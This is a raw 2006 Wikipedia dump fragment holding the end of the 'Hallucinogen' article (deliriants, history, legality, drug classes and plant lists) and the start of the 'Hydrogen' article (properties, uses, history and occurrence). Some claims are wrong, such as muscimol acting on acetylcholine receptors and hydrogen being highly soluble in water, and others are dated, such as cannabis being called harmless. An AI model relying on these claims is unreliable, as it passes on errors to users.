The ''deliriants'' (or [[anticholinergic]]s) are a special class of dissociative which are antagonists for the [[acetylcholine receptor]]s (unlike muscimol which is an agonist of this receptor).  Deliriants are considered to be ''true hallucinogens'' as users will have conversations with people who aren't there, or become angry with a 'person' mimicking their actions, not realizing it is their own reflection in a mirror (which could be dangerous if they became aggressive towards a glass mirror).  Where the cholinergics like amanita muscaria have effects akin to lucid dreaming (where one is consciously aware they are dreaming), the anticholinergics have effects akin to sleepwalking (where one doesn't remember what transpired during the experience).

Included in this group are such plants as [[atropa belladonna|deadly nightshade]], [[mandrake (plant)|mandrake]], [[henbane]] and [[datura]], as well as a number of pharmaceutical drugs when taken in very high doses such as the antihistamine [[diphenhydramine]] (Benadryl) and the antiemetic [[dimenhydrinate]] (Dramamine or Gravol).

In addition to the danger of being far more &quot;out of it&quot; than with other drugs, and retaining a truly fragmented dissociation from regular consciousness without being immobilized, the anticholinergics are toxic, can cause death due to overdose, and also include a number of uncomfortable side effects. These side effects include [[dehydration]] and [[mydriasis]].

== [[Etymology]] and alternative terms ==
A variety of different, imprecise terms have also been used to refer to drugs of this type. One of the first terms used in English to describe these substances was &quot;''Phantastica''&quot;, coined in [[1928]] by [[Louis Lewin]] in his ground-breaking [[monograph]] of the same name. The term was applied to plants that &quot;''bring about evident cerebral excitation in the form of hallucinations, illusions and visions ... followed by unconsciousness or other symptoms of altered cerebral functioning.''&quot; Lewin complained that the word &quot;does not cover all that I should wish it to convey&quot;, and indeed with the advent of the discovery of [[LSD]] and the widespread scientific experimentation with it and similar drugs, numerous supposedly improved terms were constructed, including hallucinogen, [[psychedelic]], psychotomimetic, psycholytic, schizophrenogenic, cataleptogenic, mysticomimetic and psychodysleptic.

Of all the terms created, &quot;hallucinogen&quot;, meaning roughly &quot;generating delusions and false notions&quot; (particularly in the form of sensory distortions), probably enjoys the most widespread and accepted usage. &quot;Psychedelic&quot;, meaning &quot;mind manifesting&quot; and emphasizing the introspective potential of the drugs, and &quot;[[entheogen]]&quot;, meaning &quot;becoming divine within&quot;, are also widely used, particularly among those with positive attitudes towards their usage. In some cases, authors who otherwise use these terms have felt themselves pressured to use &quot;hallucinogen&quot; or &quot;psychotomimetic&quot; (or sometimes &quot;psychomimetic&quot;, in either case meaning &quot;mimicking [[psychosis]]&quot;) in scientific publications. The terms &quot;empathogen&quot; and &quot;entactogen&quot; (see [[Empathogen-Entactogen]]) are also applied to certain drugs (notably those similar to [[MDMA]]) that are also sometimes classed as hallucinogens.

The [[World Health Organization]] effectively endorses the &quot;psychotomimetic&quot; point of view, defining a hallucinogen as &quot;''a chemical agent that induces alterations in perception, thinking, and feeling which resemble those of the functional psychoses without producing the gross impairment of memory and orientation characteristic of the organic syndromes.''&quot; It considers the term to be synonymous with &quot;psychedelic&quot; and &quot;psychoactive drug.&quot; [http://www.who.int/substance_abuse/terminology/who_lexicon/en/]

== History of use ==
Hallucinogenic drugs are among the oldest drugs used by humankind, as hallucinogens naturally occur in [[mushroom]]s, [[cactus|cacti]], and various other [[plants]]. Whether the use of hallucinogens is encouraged, unregulated, regulated, or prohibited, and whether hallucinogens are used for recreational, medicinal, or spiritual purposes, varies from culture to culture and nation to nation. In most nations of the world, the possession of many hallucinogens,  even those that are common in nature, is a [[crime]] punished by fines, imprisonment or in many countries, [[capital punishment|death]]. For some [[religion|religious]] purposes, however, there are exceptions. For instance, though possession of [[peyote]] cactus is illegal for most purposes in the [[United States]], American Courts have upheld the Constitutional right of [[Native Americans in the United States|Native Americans]] to grow and consume peyote.

=== Traditional religious and shamanic use (entheogens) ===
In human culture hallucinogens have historically most commonly been used in the setting of religious or [[shamanism|shamanic]] [[ritual]]s. In this context they are more precisely referred to as [[entheogen]]s, and are used to facilitate healing, divination, communication with the spirits, and coming of age ceremonies. Evidence exists for the use of entheogens in [[prehistory|prehistoric]] times, as well as in numerous [[ancient]] cultures, including the [[Ancient Egypt|Ancient Egyptian]], [[History of Mycenaean Greece|Mycenaean]], [[History of Ancient Greece|Ancient Greek]], [[Vedic civilization|Vedic]], [[Maya]], [[Inca]] and [[Aztec]] cultures. The rise of the Abrahamic religions ([[Judaism]], [[Christianity]] and [[Islam]]) caused a decline of entheogen use in their area. Witness the destruction of the [[Eleusinian Mysteries]], or the Great [[Witch Hunt]] of the [[Early Modern Age]], in which practitioners of entheogenic rites in Western Europe were accused of associating with the [[Devil]]. Nevertheless, some (mainly [[tribe|tribal]]) cultures have survived this (ongoing) assault and still practise entheogen use. In others, non-religious hallucinogen use, while not exactly encouraged, is tolerated and not seen as uncommon. Present-day, historical and mythological aspects of entheogens are discussed in the entry '''[[entheogen]]'''.

=== Early scientific investigations ===
Although natural hallucinogenic drugs have been known to mankind for millennia, it was not until the early  [[20th century]] that they received extensive attention from [[Western world|Western]] [[science]]. Earlier beginnings include scientific studies of [[nitrous oxide]] in the late [[18th century]], and initial studies of the constituents of the [[peyote]] cactus in the late [[19th century]]. Starting in [[1927]] with [[Kurt Beringer]]'s ''Der Meskalinrausch'' (The Mescaline Intoxication), more intensive effort began to be focused on studies of psychoactive plants. Around the same time, [[Louis Lewin]] published his extensive survey of psychoactive plants, ''Phantastica'' ([[1928]]). Important developments in the years that followed included the re-discovery of [[Mexico|Mexican]] [[Psychedelic mushroom|magic mushrooms]] (in [[1936]] by Robert J. Weitlaner) and [[ololiuhqui]] (in [[1939]] by [[Richard Evans Schultes]]). Arguably the most important pre-[[World War II]] development was by [[Albert Hofmann]]'s [[1938]] invention of the semi-[[synthetic]] drug [[LSD]], which was later discovered to produce hallucinogenic effects, in [[1943]].

=== Hallucinogens after World War II ===
After World War II there was an explosion of interest in hallucinogenic drugs in [[psychiatry]], owing mainly to the discovery of LSD. Interest in the drugs tended to focus on either the potential for [[psychotherapy|psychotherapeutic]] applications of the drugs (see ''[[psychedelic psychotherapy]]''), or on the use of hallucinogens to produce a &quot;controlled [[psychosis]]&quot;, in order to understand psychotic disorders such as [[schizophrenia]]. Between the mid [[1950s]] and the mid [[1960]]s over 1000 scholarly articles were published on hallucinogen research. Hallucinogens were also researched in several countries for their potential as agents of [[chemical warfare]]. Most famously, several tragic incidents associated with the [[CIA]]'s [[MK-ULTRA]] [[mind control]] research project have been the topic of media attention and lawsuits.

At the beginning of the [[1950]]s, the existence of hallucinogenic drugs was virtually unknown among the general public of the West. However this soon changed as several influential figures were introduced to the hallucinogenic experience. [[Aldous Huxley]]'s [[1953]] essay ''[[The Doors of Perception]]'', describing his experiences with mescaline, and  [[R. Gordon Wasson]]'s [[1957]] Life magazine article  (''Seeking the Magic Mushroom'') brought the topic into the public limelight. In the early [[1960s]] countercultural icons such as [[Timothy Leary]], [[Allen Ginsberg]] and [[Ken Kesey]] advocated the drugs for their [[psychedelic]] effects, and a large [[subculture]] of psychedelic drug users was spawned. Many people argue that psychedelic drugs played a major role in catalyzing the vast social changes initiated in the [[The Sixties|1960]]s. 
As a result of the growing popularity of LSD, and, some contend, establishment disdain for the [[hippie]]s with whom it was heavily associated, LSD was banned in the [[United States]] in [[1967]].

=== Social status of hallucinogens ===
After the fading from public sight of many elements of the 1960s counterculture, hallucinogen use took a less visible but nevertheless persistent role in Western society [[1970s]] and [[1980s]]. In the [[1990s]] and [[2000s]] something of a revival of interest in the drugs has occurred. There are probably several important contributing factors to the resurgence. One is the rise of [[dance]]-based [[rave]] and [[trance music|trance]] culture, in which participants frequently employ drugs such as the [[Empathogen/Entactogen|entactogen]] [[MDMA]], and to a lesser extent, other hallucinogenic drugs such as [[LSD]], [[Psychedelic mushroom|magic mushroom]]s and [[ketamine]], as an aid to inducing [[ecstasy (state)|ecstatic]] or [[trance]] states of [[consciousness]]. A second major contributing factor to the revival of interest in hallucinogenic drugs has been the advent of the [[Internet]] and [[World Wide Web]]. This has made information pertaining to drugs much more accessible to the general public, provided a platform for [[advocacy]] that was not previously available, and has enabled otherwise isolated interested parties to communicate and exchange information and experiences. Some well-known contemporary authors of topics relating to hallucinogens include [[Terence McKenna]], [[Timothy Leary]], [[Alexander Shulgin]], [[Jonathan Ott]] and [[Rick Strassman]].

=== Legal status ===
[[As of 2004]], most hallucinogens (aside from DXM) are illegal in most Western countries. One notable exception to the current criminalization trend is in parts of [[Western Europe]], especially in the [[Netherlands]], where hallucinogenic mushrooms are considered to be so-called &quot;[[soft drug]]s&quot;, along with [[cannabis (drug)|cannabis]]. While the possession of soft drugs is technically illegal, the Dutch government has decided that using law enforcement to combat their use is largely a waste of resources. As a result, public &quot;coffeeshops&quot; in the Netherlands openly sell cannabis, and &quot;smart shops&quot; sell drugs like psilocybin mushrooms and [[ayahuasca]] for personal use (''See [[Drug policy of the Netherlands]]'').

Since the latter part of the twentieth century, this attitude has spread throughout [[Europe]]; many European countries no longer actively pursue anti-drug policies, and rarely enforce extant legal penalties for personal-use quantities of hallucinogenic drugs. This is especially true with mild hallucinogens such as [[cannabis (drug)|cannabis]], which is rapidly gaining acceptance in western Europe as a harmless and socially acceptable intoxicant, much as [[alcoholic beverage|alcohol]] is considered throughout the West. Despite being scheduled as a controlled substance in the mid 1980s, [[ecstasy (drug)|ecstasy]]'s popularity has been growing since that time in western [[Europe]] and in the [[United States]]. 

Attitudes towards hallucinogens other than cannabis have been slower to change. Several attempts to change the law on the grounds of [[freedom of religion]] have been made. Some of these have been successful, for example the [[Native American Church]] in the [[United States]], and [[Santo Daime]] in [[Brazil]]. Some people argue that a religious setting should not be necessary for the legitimacy of hallucinogenic drug use, and for this reason also criticize the euphemistic use of the term &quot;[[entheogen]]&quot;. Non-religious reasons for the use of hallucinogens including [[spirituality|spiritual]], [[introspection|introspective]], [[psychotherapy|psychotherapeutic]], [[recreational drug|recreational]] and even [[hedonism|hedonistic]] motives, each subject to some degree of social disapproval, have all been defended as the legitimate exercising of [[civil liberties]], including [[freedom of thought]]. Many connect the idea of being &quot;high&quot; or going through a [[psychedelic]] state, as having [[brain damage]], or going crazy. This is due to the effect of the drug, which can be overwhelming. No connection has been made between psychedelic drugs and brain damage; however, high doses over time of some [[dissociative]]s and [[deliriants]] have been shown to cause [[Olney's lesions]] in animals, and have been suspected to occur in humans.

== Pharmacology ==
Hallucinogens can be classified by quality of action, mechanisms of action, or by chemical structure. These classifications often correlate to some extent. The classification system below attempts to blend these three approaches in order to create a balanced and simple overview that is as clear and easy to grasp as possible.

Almost all hallucinogens contain [[nitrogen]] and are classified as [[alkaloids]]. [[Tetrahydrocannabinol|THC]] and [[Salvinorin A]] are exceptions. Many hallucinogens often have chemical structures similar to those of human [[neurotransmitter|neurotransmitters]], such as [[serotonin]], and temporarily interfere with the action of neurotransmitters and/or receptor sites.

A classical classification is that of Lewin (Phantastica, 1928):&lt;br/&gt;
''Class I Phantastica'' roughly correspond to the [[psychedelic drug|psychedelics]], which is a more modern term usually used as synonym to &quot;hallucinogen&quot; by people with positive attitudes towards them. Here the term is used a bit differently to discriminate one particular class of hallucinogens which it seems to describe best. They typically have no sedative effects (sometimes the opposite) and there is usually a clearcut memory to their effects.

''Class II Phantastica'' correspond to the other classes in this scheme. They tend to sedate in addition to their hallucinogenic properties and there often is an impaired memory trace after the  effects wear off.

==Pharmacological classes of hallucinogens==
=== [[Psychedelic drug|Psychedelics]] ([[serotonin]] 5-HT&lt;sub&gt;2A&lt;/sub&gt; receptor agonists) ===
* [[Tryptamine|Tryptamines]] 
** [[Ergoline|Lysergamides]]
* [[Phenethylamine]]s
** Substituted phenethylamines
** Substituted [[amphetamine]]s
*** [[Empathogen/Entactogen|Empathogens and/or Entactogens]] ([[serotonin]] releasers)
* [[Cannabinoids]] (CB-1 cannabinoid receptor agonists)

=== [[Dissociative drug|Dissociatives]] ===
* [[NMDA]] receptor antagonists and [[Sigma-1 receptor|sigma&lt;sub&gt;1&lt;/sub&gt;]] ligands
* Kappa [[Opioid receptor|opioid receptor]] agonists
* [[Inhalants]]
* [[Cholinergic]]s

=== [[Deliriant]]s ([[anticholinergic]]s) ===
* [[Tropane]]s
* [[Antihistamine]]s

== Hallucinogenic plants, fungi, and animals ==
Among the best-known hallucinogenic plants and fungi are:

=== Plants ===
==== Psychedelics ====
* [[Ayahuasca]] (contains [[dimethyltryptamine|DMT]] and an [[MAOI]], commonly ''[[Banisteriopsis caapi]]'' with ''[[Psychotria viridis]]'')
* [[Epená]] (''Virola sp.'') (contains [[5-MeO-DMT]] and [[dimethyltryptamine|DMT]])
* [[Hawaiian baby woodrose]] (''Argyreia nervosa'') (contains [[Ergine]])
* [[Ololiuhqui]]/[[Coaxihuitl]] (''Turbina/Rivea corymbosa'') (contains [[Ergine]])
* [[Ipomoea violacea|Tlitliltzin/Badoh Negro]] (''Ipomoea violacea'') (contains [[Ergine]])
* [[Iboga]] (''Tabernanthe iboga'') (contains [[ibogaine]])
===== Cacti psychedelics =====
* [[Peruvian Torch]] cactus (''Trichocereus peruvianus'') (contains [[mescaline]])
* [[Peyote]] cactus (''Lophophora williamsii'') (contains [[mescaline]])
* [[San Pedro (cactus)|San Pedro]] cactus (''Trichocereus pachanoi'') (contains [[mescaline]])

==== Quasi-psychedelics ====
* [[Cannabis]] (contains [[Tetrahydrocannabinol|THC]])
* [[Sinicuichi]] (''Heimia salicifolia'') (questioned hallucinogenic activity)
* [[Nutmeg]] (''Myristica fragrans'') (questioned hallucinogenic activity)

==== Dissociatives ====
* [[Iboga]] (''Tabernanthe iboga'') (contains [[ibogaine]])
* [[Salvia divinorum|Diviner's sage]] (''Salvia divinorum'') (contains [[salvinorin A]])

==== Deliriants ====
* [[Deadly nightshade]] (''Atropa belladonna'') (contains tropane alkaloids)
* [[Floripondio]] (''Brugmansia sp.'') (contains tropane alkaloids)
* [[Henbane]] (''Hyoscyamus niger'') (contains tropane alkaloids)
* [[Mandrake (plant)|Mandrake]] (''Mandragora sp.'') (contains tropane alkaloids)
* [[Datura stramonium|Thorn Apple/Jimson Weed]] (''Datura sp.'') (contains tropane alkaloids)

=== Fungi ===
==== Psychedelics ====
* [[Psychedelic mushroom|Psilocybe mushrooms]] (''Psilocybe sp.'' and some ''Conocybe'', ''Panaeolus'' and ''Stropharia'') (contain [[psilocybin]] and [[psilocin]])
* [[Ergot]] fungus (''Claviceps purpurea'') (not hallucinogenic in itself, but contains [[LSD]] precursors)

==== Dissociatives ====
* [[Fly Agaric]] mushroom (''Amanita muscaria'') (contains [[muscimol]])

=== Animals ===
==== Psychedelics ====
* [[Psychoactive toads]] (''Bufo alvarius'') (contain [[5-MeO-DMT]] and [[Bufotenine]])

== See also == 

* [[Empathogen]]
* [[Entactogen]]
* [[Entheogen]]
* [[Ergotism]]
* [[Psychedelic mushroom]]
* [[Psychedelic]]
* [[Psychoactive]] or [[psychotropic]]
* [[Pharmacology]]
* [[Psychedelic psychotherapy]]
* [[Research chemicals]]
* [[Richard Evans Schultes]] and [[Albert Hofmann]], ''Plants of the Gods''
* [[Set and setting]]

==External links==
* [http://www.erowid.org/ Erowid] 
* [http://www.dextromethorphan.ws/ DXM Harm Reduction Project], exclusively about DXM.
* [http://www.coricidin.org/ Coricidin (Dextromethorphan + Chlorpheniramine Maleate) Harm Reduction], devoted exclusively to risks of Coricidin abuse.
* [http://www.psychedelic-library.org/grinspoo.htm Psychedelic Drugs in the Twentieth Century (Grinspoon)]
* [http://www.psychedelicjones.com/ PsychedelicJones] One man's experiences exploring psychedelic consiousness with magic mushrooms, salvia divinorum and other substances.
* [http://www.cognitiveliberty.org Center for Cognitive Liberty and Ethics]
* [http://www.spiritplants.org/ Spirit Plants]
* [http://www.plot55.com/growing/ Growing Entheogenic Plants (Plot55.com)]
* [http://www.shroomery.org/ The Shroomery] Detailed information about magic mushrooms including identification, cultivation and spores, psychedelic images, trip reports and an active community.
* [http://www.sci-con.org/editorials/20030603.html Science &amp; Consciousness Review] - The Neurochemistry of Psychedelic Experience

{{Hallucinogens}}
{{Entactogens}}
{{Dissociative hallucinogens}}
{{Deliriants}}
{{Cannabinoids}}
{{Hallucinogenic mushrooms}}

[[Category:Psychedelics, dissociatives and deliriants]]

[[af:Hallusinogeen]]
[[de:Halluzinogen]]
[[es:Alucinógeno]]
[[fr:Hallucinogène]]
[[io:Halucinigiva drogo]]
[[is:Ofskynjunarlyf]]
[[he:הלוצינוגן]]
[[ms:Halusinogen]]
[[ja:幻覚剤]]
[[fi:Hallusinogeeni]]
[[pl:Substancje psychozomimetyczne]]</text>
    </revision>
  </page>
  <page>
    <title>Hydrogen</title>
    <id>13255</id>
    <revision>
      <id>42080071</id>
      <timestamp>2006-03-03T18:10:21Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/65.114.182.66|65.114.182.66]] ([[User talk:65.114.182.66|talk]]) to last version by DV8 2XL</comment>
      <text xml:space="preserve">{{Elementbox_header | number=1 | symbol=H | name=hydrogen | left=([[neutron]]) | right=[[helium]] | above=- | below=[[lithium|Li]] | color1=#a0ffa0 | color2=green }}
{{Elementbox_series | [[nonmetal]]s }}
{{Elementbox_groupperiodblock | group=1 | period=1 | block=s }}
{{Elementbox_appearance_img | H,1| colorless }}
{{Elementbox_atomicmass_gpm | [[1 E-27 kg|1.00794]][[List of elements by atomic mass|(7)]] }}
{{Elementbox_econfig | 1s&lt;sup&gt;1&lt;/sup&gt; }}
{{Elementbox_epershell | 1 }}
{{Elementbox_section_physicalprop | color1=#a0ffa0 | color2=green }}
{{Elementbox_phase | [[gas]] }}
{{Elementbox_density_gplstp | 0.08988 }}
{{Elementbox_meltingpoint | k=14.01 | c=-259.14 | f=-434.45 }}
{{Elementbox_boilingpoint | k=20.28 | c=-252.87 | f=-423.17 }}
|-
| [[Triple point]] || 13.8033 K, 7.042 kPa
{{Elementbox_heatfusion_kjpmol | (H&lt;sub&gt;2&lt;/sub&gt;) 0.117 }}
{{Elementbox_heatvaporiz_kjpmol | (H&lt;sub&gt;2&lt;/sub&gt;) 0.904 }}
{{Elementbox_heatcapacity_jpmolkat25 | (H&lt;sub&gt;2&lt;/sub&gt;)&lt;br /&gt;28.836 }}
{{Elementbox_vaporpressure_katpa | &amp;nbsp; | &amp;nbsp; | &amp;nbsp; | &amp;nbsp; | 15 | 20 | comment= }}
|-
| [[Critical temperature]] || 32.19 K
|-
| [[Critical pressure]] || 1.315 MPa
|-
| [[Critical density]] || 30.12 g/L
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{{Elementbox_oxistates | '''1''', -1&lt;br /&gt;([[amphoteric]] oxide) }}
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{{Elementbox_atomicradius_pm | [[1 E-11 m|25]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-11 m|53]] }} ([[Bohr radius]])
{{Elementbox_covalentradius_pm | [[1 E-11 m|37]] }}
{{Elementbox_vanderwaalsrad_pm | [[1 E-10 m|120]] }}
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{{Elementbox_magnetic | ??? }}
{{Elementbox_thermalcond_wpmkat300k | 180.5 m}}
{{Elementbox_speedofsound_mps | (gas, 27 °C) 1310 }}
{{Elementbox_cas_number | 1333-74-0 }}
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{{Elementbox_isotopes_stable | mn=2 | sym=H | na=0.015% | n=1 }}
{{Elementbox_isotopes_decay | mn=3 | sym=H | na=[[Trace radioisotope|trace]] | hl=12.32 [[years|y]]  | dm=[[beta minus decay|β&lt;sup&gt;-&lt;/sup&gt;]] | de=0.019 | pn=3 | ps=[[helium|He]] }}
{{Elementbox_isotopes_end}}
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'''Hydrogen''' ([[Latin]]: ''hydrogenium'', from [[Greek language|Greek]]: ''hydro'': water, ''genes'': forming) is a [[chemical element]] in the [[periodic table]] that has the symbol '''H''' and [[atomic number]] 1. At [[standard temperature and pressure]] it is a colorless, odorless, [[nonmetal]]lic, [[Valence (chemistry)|univalent]], tasteless, highly [[combustion|flammable]] [[diatomic]] [[gas]]. However, in extremely cold and dense environments, hydrogen can be metallic. Hydrogen is the lightest and most [[abundance of the chemical elements|abundant]] element in the [[universe]]. It is present in [[water]], all organic compounds (rare exceptions exist, such as [[buckminsterfullerene]]) and in all living organisms. Hydrogen is able to react chemically with most other elements. [[Star]]s in their [[main sequence]] are overwhelmingly composed of hydrogen in its [[plasma (physics)|plasma]] state. The element is used in [[ammonia]] production, as a [[lighter than air|lifting]] gas, as an alternative [[fuel]], and more recently as a power source of [[fuel cell]]s.

Despite its ubiquity in the universe, hydrogen is surprisingly difficult to produce in large quantities on the Earth. In the [[laboratory]], the element is prepared by the reaction of [[acid]]s on metals such as [[zinc]]. The [[electrolysis]] of water is a simple method of producing hydrogen, but is economically inefficient for mass production. Large-scale production is usually achieved by [[steam reforming]] [[natural gas]]. Scientists are now researching new methods for hydrogen production; if they succeed in developing a cost-efficient method of large-scale production, hydrogen may become a viable alternative to [[greenhouse gas|greenhouse-gas]]-producing [[fossil fuels]]. One of the methods under investigation involves the use of green [[algae]]; another promising method involves the conversion of biomass derivatives such as [[glucose]] or [[sorbitol]] at low temperatures using a [[catalyst]]. Yet another method is the &quot;steaming&quot; of carbon, whereby hydrocarbons are broken down with heat to release hydrogen.

==Basic features==
Hydrogen is the lightest chemical element; its most common [[isotope]] comprises just one negatively charged [[electron]], distributed around a positively charged [[proton]] (the [[atomic nucleus|nucleus]] of the atom). The electron is bound to the proton by the [[Coulomb force]], the electrical force that one stationary, electrically charged nanoparticle exerts on another. The hydrogen atom has special significance in [[quantum mechanics]] as a simple physical system for which there is an exact solution to the [[Schrödinger equation]]; from that equation, the experimentally observed frequencies and intensities of hydrogen's [[spectral line]]s can be calculated. Spectral lines are dark or bright lines in an otherwise uniform and continuous spectrum, resulting from an excess or deficiency of photons in a narrow frequency range, compared with the nearby frequencies. 

At [[standard temperature and pressure]], hydrogen forms a diatomic gas, H&lt;sub&gt;2&lt;/sub&gt;, with a boiling point of only 20.27&amp;nbsp;[[Kelvin|K]] and a melting point of 14.02&amp;nbsp;K.{{ref|commonsensescience.org}}  Under extreme pressures, such as those at the center of [[gas giant]]s, the molecules lose their identity and the hydrogen becomes a [[metal]] ([[metallic hydrogen]]). Under the extremely low pressure in space—virtually a vacuum—the element tends to exist as individual atoms, simply because there is no way for them to combine. However, clouds of H&lt;sub&gt;2&lt;/sub&gt; and possibly singular hydrogen atoms are said to form in [[H I region|H I]] and [[H II region]]s and are associated with [[star formation]]. Hydrogen plays a vital role in powering [[stars]] through the [[proton-proton reaction|proton&amp;ndash;proton]] and [[carbon-nitrogen cycle|carbon&amp;ndash;nitrogen cycle]]. These are [[nuclear fusion]] processes, which release huge amounts of energy in stars and other hot celestial bodies as hydrogen atoms combine into [[helium]] atoms.

At high temperatures, hydrogen gas can exist as a mixture of atoms, protons, and negatively charged hydride ions. This mixture has a high [[emissivity]] and [[absorptivity]] in the [[visible light]] range, and plays an important part in the emission of light from the [[sun]] and other [[stars]].

H&lt;sub&gt;2&lt;/sub&gt; is highly soluble in water, alcohol, and ether. It has a high capacity for [[adsorption]], in which it is attached to and held to the surface of some substances. It is an odorless, tasteless, colorless, and highly [[combustion|flammable]] gas that burns at concentrations as low as 4% H&lt;sub&gt;2&lt;/sub&gt; in air. It reacts violently with [[chlorine]] and [[fluorine]], forming [[hydrohalic acid]]s that can damage the [[lung]]s and other [[Biological tissue|tissue]]s. When mixed with oxygen, hydrogen explodes upon ignition. A unique property of hydrogen is that its flame is completely invisible in air. This makes it difficult to tell if a leak is burning, and carries the added risk that it is easy to walk into a hydrogen fire inadvertently.

''See also: [[hydrogen atom]].''

==Applications==
Large quantities of hydrogen are needed in the chemical and petroleum industries, notably in the [[Haber process]] for the production of [[ammonia]], which by mass ranks as the world's fifth most produced industrial compound. Hydrogen is used in the [[hydrogenation]] of [[fat]]s and [[Vegetable oil|oil]]s (found in items such as [[margarine]]), and in the production of [[methanol]]. Hydrogen is used in [[hydrodealkylation]], [[hydrodesulfurization]], and [[cracking (chemistry)#Hydrocracking|hydrocracking]]{{ref|periodic.lanl.gov}}. The element has several other important uses.
*The element is used in the manufacture of [[hydrochloric acid]], in [[welding]] processes, and in the reduction of metallic [[ore]]s.
*It is an ingredient in [[rocket fuel]]s.
*It is used as the rotor coolant in [[electrical generator]]s at [[power station]]s, because it has the highest [[thermal conductivity]] of any gas.
*Liquid hydrogen is used in [[cryogenic]] research, including [[superconductivity]] studies.
*The [[triple point]] temperature of equilibrium hydrogen is a defining fixed point on the [[International Temperature Scale of 1990|ITS-90]] temperature scale.
*Since hydrogen is 14.5 times [[lighter than air]], it was once widely used as a lifting agent in [[balloon (aircraft)|balloon]]s and [[airship]]s. However, this use was curtailed when the [[Hindenburg disaster]] convinced the public that the gas was too dangerous for this purpose.
*[[Deuterium]], an isotope of hydrogen (hydrogen-2), is used in [[CANDU reactor|nuclear fission applications]] as a [[neutron moderator|moderator]] to slow [[neutron]]s, and in [[nuclear fusion]] reactions. Deuterium compounds have applications in [[chemistry]] and [[biology]] in studies of reaction [[isotope effect]]s.
*[[Tritium]] (hydrogen-3), produced in [[nuclear reactor]]s, is used in the production of [[hydrogen bomb]]s, as an isotopic label in the biosciences, and as a [[Beta radiation|radiation]] source in luminous paints.

There are no &quot;hydrogen wells&quot; or &quot;hydrogen mines&quot; on Earth, so hydrogen cannot be considered a primary energy source such as [[fossil fuel]]s or [[uranium]]. Hydrogen can however be burned in [[internal combustion engine]]s, an approach advocated by BMW's experimental [[hydrogen car]].  However, it is currently difficult and dangerous to store and handle in sufficient quantity for motor fuel use. Hydrogen [[fuel cell]]s are being investigated as mobile [[power (physics)|power]] sources with lower emissions than hydrogen-burning internal combustion engines. The low emissions of hydrogen in internal combustion engines and [[fuel cell]]s are currently offset by the pollution created by hydrogen production.  This may change if the substantial amounts of electricity required for water [[electrolysis]] can be generated primarily from low pollution sources such as nuclear energy or wind. Research is being conducted on hydrogen as a replacement for fossil fuels. It could become the link between a range of energy sources, carriers and storage. Hydrogen can be converted to and from electricity (solving the electricity storage and transport issues), from [[biofuel]]s, and from and into [[natural gas]] and [[diesel]] fuel. All of this can theoretically be achieved with zero emissions of CO&lt;sub&gt;2&lt;/sub&gt; and toxic pollutants.

==History==
Hydrogen was first produced by Theophratus Bombastus von Hohenheim ([[1493]]&amp;ndash;[[1541]])—also known as [[Paracelsus]]—by mixing metals with acids. He was unaware that the explosive gas produced by this chemical reaction was hydrogen. In 1671, [[Robert Boyle]] described the reaction between two iron fillings and dilute acids, which results in the  production of gaseous hydrogen.{{ref|webelements.com}} In [[1766]], [[Henry Cavendish]] was the first to recognize hydrogen as a discrete substance, by identifying the gas from this reaction &lt;!--you mean Boyle's reported reaction?--&gt;as &quot;inflammable&quot; and finding that the gas produces water when burned in air. Cavendish stumbled on hydrogen when experimenting with acids and [[mercury (element)|mercury]]. Although he wrongly assumed that hydrogen was a compound of mercury—and not of the [[acid]]—he was still able to accurately describe several key properties of hydrogen. 

&lt;!--In [year],--&gt;[[Antoine Lavoisier]] gave the element its name and proved that water is composed of hydrogen and [[oxygen]]. One of the first uses of the element was for [[balloon]]s. The hydrogen was obtained by mixing [[sulfuric acid]] and [[iron]]. In 1931, [[Harold C. Urey]] discovered [[deuterium]], an [[isotope]] of hydrogen, by repeated distilling the same sample of water. For this discovery, Urey received the [[Nobel Prize in Chemistry]] in 1934. In the same year, the third isotope, [[tritium]], was discovered. Because of its relatively simple structure, hydrogen has often been used in models of how an [[atom]] works.

==Electron energy levels==
The [[ground state]] [[energy level]] of the electron in a hydrogen atom is 13.6 [[Electronvolt|eV]], which is equivalent to an ultraviolet photon of roughly 92 [[metre|nm]].

With the [[Bohr Model]], the energy levels of hydrogen can be calculated fairly accurately.  This is done by modeling the electron as revolving around the proton, much like the earth revolving around the sun.  Except the sun holds earth in orbit with the force of [[gravity]], but the proton holds the electron in orbit with the force of [[electromagnetism]].  Another difference between the Earth-Sun system and the electron-proton system is that, in this model, due to [[quantum mechanics]] the electron is allowed to only be at very specific distances from the proton. Modeling the hydrogen atom in this fashion yields the correct energy levels and spectrum.

The electronic [[ground state]] [[energy level]] is split into [[fine structure]] levels because of magnetic effects due to the [[quantum mechanical]] spin of the electron and proton.  The energy of the atom when the proton and electron spins are aligned is &lt;math&gt;5.9\times 10^{-6}&lt;/math&gt; eV higher than when they are not aligned.  The transition from the upper to lower levels can occur through emission of a photon through a [[magnetic dipole]] transition.  A photon of this energy has a frequency of 1420.4 MHz and a wavelength of 21.1 cm.  Astronomers observe this radiation with radio telescopes in order to map the distribution of hydrogen in the Galaxy.

==Occurrence==
[[Image:Triangulum.nebula.full.jpg|thumb|250px|[[NGC 604]], a giant H&amp;nbsp;II region in the [[Triangulum Galaxy]].]]

Hydrogen is the most [[Natural abundance|abundant]] element in the universe, making up 75% of normal matter by [[mass]] and over 90% by number of [[atom]]s. {{ref|education.jlab.org}} This element is found in great abundance in [[star]]s and gas giant planets. However, it is very rare in the [[Earth]]'s atmosphere (1 [[part per million|ppm]] by volume).  Its scarcity is due to the fact that hydrogen is the lightest gas, allowing it to escape Earth's gravity. When [[chemical compound|compounds]] are included, though, hydrogen is the tenth most abundant element on Earth. The most common source for this element on Earth is [[water]], which is composed two parts hydrogen to one part [[oxygen]] (H&lt;sub&gt;2&lt;/sub&gt;O). Other sources include most forms of organic matter including [[coal]], [[natural gas]], and other [[fossil fuel]]s. [[Methane]] ([[carbon|C]]H&lt;sub&gt;4&lt;/sub&gt;) is an increasingly important source of hydrogen.

Throughout the universe, hydrogen is mostly found in the [[Plasma (physics)|plasma]] state whose properties are quite different from molecular hydrogen. As a plasma, hydrogen's electron and proton are not bound together, resulting in very high electrical conductivity. The charged particles are highly influenced by magnetic and electric fields. For example, in the [[solar wind]] they interact with the Earth's [[magnetosphere]] giving rise to [[Birkeland current]]s and the [[aurora]].

